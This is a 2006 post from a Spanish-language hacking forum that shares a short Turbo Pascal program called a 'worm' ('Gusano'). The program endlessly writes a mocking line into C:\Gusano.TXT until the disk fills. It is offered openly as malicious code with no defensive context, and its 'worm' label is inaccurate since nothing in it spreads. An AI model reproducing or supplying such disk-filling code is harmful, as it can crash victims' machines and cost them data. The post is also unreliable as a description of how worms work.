Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 20, 2008, 10:19:45
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: Gusano en Turbo Pascal... 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Gusano en Turbo Pascal...  (Leído 531 veces)
T ħ ﻉ Г ﺫ Φ η
Miembro
*****
Desconectado Desconectado

Mensajes: 28


Nil agit exemplum, litem quod lite resolvit...


Ver Perfil
« en: Marzo 01, 2006, 04:20:14 »
PROGRAM  Worm;

VAR                     
 
Archivito:TEXT;     

BEGIN                             
 
Assign (Archivito, 'C:\Gusano.TXT');
                                                                   
Rewrite(Archivito);       
                                                             
Repeat
     WriteLn(Archivito, 'Me estoy comiendo el disco, JA, JA, JA !!');
      Until 2=3;
      Close(Archivito);
END.
En línea
Melior est in inferno regnare quam in coelo servire...
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: Gusano en Turbo Pascal... « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC